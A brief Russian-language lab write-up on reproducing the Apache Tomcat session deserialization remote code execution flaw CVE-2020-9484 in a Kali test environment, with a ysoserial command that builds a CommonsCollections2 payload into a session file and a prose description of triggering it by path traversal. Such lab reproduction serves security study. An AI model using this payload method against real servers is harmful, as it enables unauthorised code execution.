CVE-2020-9484

Воспроизведение уязвимости удалённого выполнения кода при десериализации сессий Apache Tomcat (CVE-2020-9484) с помощью Kali 2.0

Окружение:

1. Kali 2.0
2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz (веб-приложение — s2-053, в его каталог lib добавлен commons-collections4-4.0.jar)
   
   

Запуск

/yourtomcatdir/bin/startup.sh

Генерация payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/9484" > /tmp/22222.session

Эксплуатация

Сначала откройте S2-053, чтобы убедиться, что он запущен корректно: http://192.168.152.128:8080/s2-053/
Повторно откройте страницу, перехватите запрос и с помощью Intruder выполните обход пути (path traversal)

Команда выполнена успешно:

Ссылка: https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg